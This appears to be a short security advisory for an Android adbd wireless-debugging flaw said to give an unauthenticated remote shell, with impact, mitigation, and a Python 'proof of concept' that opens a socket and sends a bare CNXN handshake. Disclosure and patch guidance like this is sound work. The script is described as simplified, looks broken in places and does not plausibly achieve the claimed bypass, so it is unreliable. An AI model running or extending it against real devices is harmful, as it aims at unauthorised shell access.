adbd wireless debugging remote shell

## description

A logic vulnerability in the adbd daemon allows an unauthenticated attacker on the same network to gain a remote shell when wireless debugging is enabled, bypassing the pairing requirement.

## impact

Full device compromise via remote shell. Attacker gains identity of shell user.

## mitigation

Disable wireless debugging when not in use. Update to May 2026 patch level.

## proof of concept

# Usage: python3 cve-2026-0073-exploit.py --target [IP] --port 5555
import socket
# Simplified trigger: bypass adb auth handshake
def trigger(target, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, port))
    s.send(b"CNXN

host::\x00")
    print(s.recv(1024))

## downloads

## references

• Android Security Bulletin May 2026